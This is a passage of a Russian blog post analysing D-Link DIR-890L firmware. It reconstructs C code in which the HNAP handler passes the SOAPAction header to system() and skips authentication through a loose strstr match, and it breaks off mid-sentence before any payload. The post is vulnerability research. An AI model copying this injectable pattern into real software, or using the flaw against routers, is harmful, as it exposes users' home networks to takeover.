{"id":255925,"date":"2015-04-24T13:24:39","date_gmt":"2015-04-24T09:24:39","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=255925"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=255925","title":{"rendered":"\u0412\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0435\u043c D-Link DIR-890L"},"content":{"rendered":"<p>       \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 6 \u043c\u0435\u0441\u044f\u0446\u0435\u0432, \u044f \u0431\u044b\u043b \u0436\u0443\u0442\u043a\u043e \u0437\u0430\u043d\u044f\u0442 \u0438 \u043d\u0435 \u0441\u043b\u0435\u0434\u0438\u043b \u0437\u0430 \u043d\u043e\u0432\u044b\u043c\u0438 \u0445\u0440\u0435\u043d\u044f\u043c\u0438 \u043e\u0442 D-Link. \u0427\u0442\u043e\u0431\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0430\u0437\u0432\u043b\u0435\u0447\u044c\u0441\u044f, \u044f \u0437\u0430\u0448\u0435\u043b \u043d\u0430 \u0438\u0445 \u0441\u0430\u0439\u0442, \u0438 \u043c\u0435\u043d\u044f \u043f\u043e\u043f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u044d\u0442\u043e\u0442 \u043a\u043e\u0448\u043c\u0430\u0440:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/fd0\/d34\/2e2\/fd0d342e20917f5e6f2fd77125aa4a93.png\" alt=\"Insane router\"\/><br \/>  <i>\u0421\u0430\u043c\u044b\u0439 \u0431\u0435\u0437\u0443\u043c\u043d\u044b\u0439 \u0440\u043e\u0443\u0442\u0435\u0440 D-Link DIR-890L \u0437\u0430 $300<\/i><\/p>\n<p>  \u041f\u043e\u0436\u0430\u043b\u0443\u0439, \u0441\u0430\u043c\u044b\u043c \u00ab\u0431\u0435\u0437\u0443\u043c\u043d\u044b\u043c\u00bb \u0432 \u0440\u043e\u0443\u0442\u0435\u0440\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0432\u0441\u0435 \u0442\u043e\u0439 \u0436\u0435 <a href=\"https:\/\/github.com\/zcutlip\/exploit-poc\/tree\/master\/dlink\/dir-815-a1\/hedwig_cgi_httpcookie\">\u0437\u0430\u0431\u0430\u0433\u043e\u0432\u0430\u043d\u043d\u043e\u0439<\/a> <a href=\"http:\/\/shadow-file.blogspot.com\/2013\/02\/dlink-dir-815-upnp-command-injection.html\">\u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438<\/a>, \u043a\u043e\u0442\u043e\u0440\u0443\u044e D-Link \u0441\u0442\u0430\u0432\u0438\u0442 \u0432 \u0441\u0432\u043e\u0438 \u0440\u043e\u0443\u0442\u0435\u0440\u044b \u0432\u043e\u0442 \u0443\u0436\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442\u2026<a href=\"https:\/\/www.youtube.com\/watch?v=WQZqJ_-WAO8\">and the hits just keep on coming.<\/a><br \/>  <a name=\"habracut\"><\/a><br \/>  \u0425\u043e\u0440\u043e\u0448\u043e, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u2014 \u0432\u043e\u0437\u044c\u043c\u0435\u043c <a href=\"ftp:\/\/ftp2.dlink.com\/PRODUCTS\/DIR-890L\/REVA\/DIR-890L_REVA_FIRMWARE_1.03.B07.ZIP\">\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438<\/a>, \u043f\u0440\u043e\u0439\u0434\u0435\u043c\u0441\u044f \u043f\u043e \u043d\u0435\u0439 <a href=\"https:\/\/github.com\/devttys0\/binwalk\">binwalk<\/a> \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438:<\/p>\n<pre><code>DECIMAL       HEXADECIMAL     DESCRIPTION -------------------------------------------------------------------------------- 0             0x0             DLOB firmware header, boot partition: &quot;dev=\/dev\/mtdblock\/7&quot; 116           0x74            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124       0x1C0074        PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156       0x1C0094        Squashfs filesystem, little endian, version 4.0, compress<\/code><\/pre>\n<p>  \u041f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0441 Linux, \u0430 \u0435\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u043b\u0438 \u0432 \u043b\u044e\u0431\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 D-Link \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043b\u0435\u0442, \u0432\u044b \u0431\u0435\u0437 \u0442\u0440\u0443\u0434\u0430 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439:<\/p>\n<pre><code>$ ls squashfs-root bin  dev  etc  home  htdocs  include  lib  mnt  mydlink  proc  sbin  sys  tmp  usr  var  www<\/code><\/pre>\n<p>  \u0412\u0441\u0435, \u0447\u0442\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a HTTP, UPnP \u0438 HNAP, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043e \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 htdocs. \u0421\u0430\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0437\u0434\u0435\u0441\u044c \u2014 htdocs\/cgibin \u2014 ELF-\u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u0434\u043b\u044f ARM, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u0435\u0431\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0434\u043b\u044f, \u0445\u043c, \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435\u0433\u043e: \u0432\u0441\u0435 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u0438 \u043a CGI, UPnP \u0438 HNAP-\u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432\u0435\u0434\u0443\u0442 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b:<\/p>\n<pre><code>$ ls -l htdocs\/web\/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/captcha.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/conntrack.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/dlapn.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/dlcfg.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/dldongle.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/fwup.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/fwupload.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/hedwig.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/pigwidgeon.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/seama.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/service.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/webfa_authentication.cgi -&gt; \/htdocs\/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs\/web\/webfa_authentication_logout.cgi -&gt; \/htdocs\/cgibin<\/code><\/pre>\n<p>  \u041e\u043d, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, stripped, \u043d\u043e \u0432 \u043d\u0435\u043c \u0435\u0441\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0441\u0442\u0440\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u043d\u0430\u043c \u0432 \u043f\u043e\u043c\u043e\u0449\u044c. \u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, <code>main<\/code> \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 <code>argv[0]<\/code> \u0441\u043e \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0435\u043c\u0443 \u0438\u043c\u0435\u043d \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432 (<code>captcha.cgi<\/code>, <code>conntrack.cgi<\/code> \u0438 \u0442.\u0434.) \u0447\u0442\u043e\u0431\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a\u0430\u043a\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/9a8\/095\/8f2\/9a80958f245ce20d66a4bcf8b2812209.png\" alt=\"staircase\"\/><br \/>  <i>\u0413\u0440\u0430\u0444 \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0441\u043a\u0430\u0434 if\/else<\/i><\/p>\n<p>  \u041a\u0430\u0436\u0434\u043e\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u044b\u0437\u043e\u0432\u043e\u043c strcmp \u043d\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432:<\/p>\n<p>  <a href=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a82\/23f\/ea5\/a8223fea53fa45784451caa8690d5966.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a82\/23f\/ea5\/a8223fea53fa45784451caa8690d5966.png\" alt=\"image\"\/><\/a><br \/>  <i>\u0420\u0430\u0437\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432<\/i><\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0443\u043f\u0440\u043e\u0441\u0442\u0438\u0442\u044c \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0439-\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u043e\u0432, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u0443\u0435\u043c \u0438\u0445, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0438\u043c\u0435\u043d\u0438 \u0441\u0438\u043c\u043b\u0438\u043d\u043a\u0430:<\/p>\n<p>  <a href=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/344\/9e3\/6a6\/3449e36a60c1d4bdf89191b5dc6ec318.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/344\/9e3\/6a6\/3449e36a60c1d4bdf89191b5dc6ec318.png\" alt=\"image\"\/><\/a><br \/>  <i>\u041f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438-\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438<\/i><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0447\u043d\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0431\u0430\u0433\u0438. \u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0442 D-Link, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0442\u043e\u0447\u043d\u043e \u0442\u0430\u043a\u043e\u0439 \u0436\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 <a href=\"http:\/\/www.s3cur1ty.de\/node\/703\">HTTP<\/a> \u0438 <a href=\"http:\/\/www.s3cur1ty.de\/node\/714\">UPnP<\/a>-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b, \u043e\u0434\u043d\u0430\u043a\u043e, HNAP-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 <code>hnap_main<\/code> \u0432 <code>cgibin<\/code>, \u043f\u043e\u0445\u043e\u0436\u0435, \u043d\u0438\u043a\u0442\u043e \u043e\u0441\u043e\u0431\u043e \u043d\u0435 \u0441\u043c\u043e\u0442\u0440\u0435\u043b.<\/p>\n<p>  <a href=\"http:\/\/www.google.com\/patents\/US7827252\">HNAP<\/a> (Home Network Administration Protocol) \u2014 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 SOAP, \u043f\u043e\u0445\u043e\u0436\u0438\u0439 \u043d\u0430 UPnP, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 D-Link \u0440\u043e\u0443\u0442\u0435\u0440\u043e\u0432 \u00abEZ\u00bb. \u0412 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 UPnP, \u0432\u0441\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f HNAP, \u043a\u0440\u043e\u043c\u0435 <code>GetDeviceInfo<\/code> (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0435\u0441\u043f\u043e\u043b\u0435\u0437\u0435\u043d), \u0442\u0440\u0435\u0431\u0443\u044e\u0442 HTTP Basic-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.<\/p>\n<pre><code>POST \/HNAP1 HTTP\/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text\/xml; charset=utf-8 Content-Length: length SOAPAction: &quot;http:\/\/purenetworks.com\/HNAP1\/AddPortMapping&quot;   &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt; &lt;soap:Envelope xmlns:xsi=&quot;http:\/\/www.w3.org\/2001\/XMLSchema-instance&quot; xmlns:xsd=&quot;http:\/\/www.w3.org\/2001\/XMLSchema&quot; xmlns:soap=&quot;http:\/\/schemas.xmlsoap.org\/soap\/envelope\/&quot;&gt;  &lt;soap:Body&gt;   &lt;AddPortMapping xmlns=&quot;http:\/\/purenetworks.com\/HNAP1\/&quot;&gt;    &lt;PortMappingDescription&gt;foobar&lt;\/PortMappingDescription&gt;    &lt;InternalClient&gt;192.168.0.100&lt;\/InternalClient&gt;    &lt;PortMappingProtocol&gt;TCP&lt;\/PortMappingProtocol&gt;    &lt;ExternalPort&gt;1234&lt;\/ExternalPort&gt;    &lt;InternalPort&gt;1234&lt;\/InternalPort&gt;   &lt;\/AddPortMapping&gt;  &lt;\/soap:Body&gt; &lt;\/soap:Envelope&gt;<\/code><\/pre>\n<p>  \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>SOAPAction<\/code> \u043e\u0447\u0435\u043d\u044c \u0432\u0430\u0436\u0435\u043d \u0432 HNAP-\u0437\u0430\u043f\u0440\u043e\u0441\u0435, \u0442.\u043a. \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d \u0437\u0430\u0434\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0441\u0435\u0440\u0432\u0435\u0440 (\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 <code>AddPortMapping<\/code> \u0432 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0432\u044b\u0448\u0435).<\/p>\n<p>  \u0412\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e <code>cgibin<\/code> \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CGI-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c, <code>hnap_main<\/code> \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 HNAP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>SOAPAction<\/code>, \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/1f5\/fa5\/9bd\/1f5fa59bd2796b9934a4db825878c3a0.png\" alt=\"image\"\/><br \/>  <i>SOAPAction = getenv(\u201cHTTP_SOAPACTION\u201d);<\/i><\/p>\n<p>  \u0411\u043b\u0438\u0436\u0435 \u043a \u043a\u043e\u043d\u0446\u0443 <code>hnap_main<\/code>, \u0432\u044b\u0437\u043e\u0432\u043e\u043c <code>sprintf<\/code> \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f shell-\u043a\u043e\u043c\u0430\u043d\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 <code>system<\/code>:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/fb5\/c52\/709\/fb5c52709a4c51934e85403d0707c1ae.png\" alt=\"image\"\/><br \/>  <i>sprintf(command, \u201csh %s%s.sh &gt; \/dev\/console\u201d, \u201c\/var\/run\/\u201d, SOAPAction);<\/i><\/p>\n<p>  \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e <code>hnap_main<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 <code>SOAPAction<\/code> \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <code>system<\/code>! \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u043f\u043e\u0434\u0430\u0435\u0442 \u043d\u0430\u0434\u0435\u0436\u0434\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e, \u0435\u0441\u043b\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>SOAPAction<\/code> \u043d\u0435 \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0438 \u0435\u0441\u043b\u0438 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.<\/p>\n<p>  \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 <code>hnap_main<\/code> \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0440\u0430\u0432\u0435\u043d \u043b\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>SOAPAction<\/code> \u0441\u0442\u0440\u043e\u043a\u0435 <code>http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings<\/code>, \u0438 \u0435\u0441\u043b\u0438 \u043e\u043d \u0440\u0430\u0432\u0435\u043d, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f. \u042d\u0442\u043e \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e, \u043c\u044b \u0443\u0436\u0435 \u043f\u043e\u0434\u043c\u0435\u0442\u0438\u043b\u0438 \u0440\u0430\u043d\u0435\u0435, \u0447\u0442\u043e <code>GetDeviceSettings<\/code> \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438:<\/p>\n<p>  <a href=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/c1d\/69c\/9c2\/c1d69c9c22d351a6366f7b3c9534a937.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/c1d\/69c\/9c2\/c1d69c9c22d351a6366f7b3c9534a937.png\" alt=\"image\"\/><\/a><br \/>  <i>if(strstr(SOAPAction, \u201chttp:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings\u201d) != NULL)<\/i><\/p>\n<p>  \u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u043e\u0434\u043d\u0430\u043a\u043e, \u0447\u0442\u043e \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>strstr<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 <code>http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings<\/code> \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 <code>SOAPAction<\/code>, \u0430 \u043d\u0435 \u0440\u0430\u0432\u0435\u043d\u0441\u0442\u0432\u043e \u0435\u0439.<br \/>  \u0418\u0442\u0430\u043a, \u0435\u0441\u043b\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>SOAPAction<\/code> \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u043a\u0443 <code>http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings<\/code>, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0435\u0442 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (\u0442.\u0435. <code>GetDeviceSettings<\/code>) \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u0438 \u0443\u0431\u0438\u0440\u0430\u0435\u0442 \u0434\u0432\u043e\u0439\u043d\u044b\u0435 \u043a\u0430\u0432\u044b\u0447\u043a\u0438:<\/p>\n<p>  <a href=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/d9f\/a32\/5d3\/d9fa325d397e7154ef0d2e723b23348c.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/d9f\/a32\/5d3\/d9fa325d397e7154ef0d2e723b23348c.png\" alt=\"image\"\/><\/a><br \/>  <i>SOAPAction = strrchr(SOAPAction, \u2018\/\u2019);<\/i><\/p>\n<p>  \u0418\u043c\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f (<code>GetDeviceSettings<\/code>) \u0432\u044b\u0447\u043b\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 <code>system<\/code>, \u043f\u0440\u043e\u0445\u043e\u0434\u044f <code>sprintf<\/code>.<br \/>  \u0412\u043e\u0442 \u043a\u043e\u0434 \u043d\u0430 C, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 \u0432 \u043b\u043e\u0433\u0438\u043a\u0435:<\/p>\n<pre><code>\/* Grab a pointer to the SOAPAction header *\/ SOAPAction = getenv(&quot;HTTP_SOAPACTION&quot;);   \/* Skip authentication if the SOAPAction header contains &quot;http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings&quot; *\/ if(strstr(SOAPAction, &quot;http:\/\/purenetworks.com\/HNAP1\/GetDeviceSettings&quot;) == NULL) {     \/* do auth check *\/ }   \/* Do a reverse search for the last forward slash in the SOAPAction header *\/ SOAPAction = strrchr(SOAPAction, '\/'); if(SOAPAction != NULL) {     \/* Point the SOAPAction pointer one byte beyond the last forward slash *\/     SOAPAction += 1;       \/* Get rid of any trailing double quotes *\/     if(SOAPAction[strlen(SOAPAction)-1] == '&quot;')     {         SOAPAction[strlen(SOAPAction)-1] = '\\0';     } } else {     goto failure_condition; }   \/* Build the command using the specified SOAPAction string and execute it *\/ sprintf(command, &quot;sh %s%s.sh &gt; \/dev\/console&quot;, &quot;\/var\/run\/&quot;, SOAPAction); system(command);<\/code><\/pre>\n<p>  \u0418\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u044b \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u043d\u0435\u0441\u043b\u0438:  <\/p>\n<ul>\n<li>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442, \u0435\u0441\u043b\u0438 \u0432 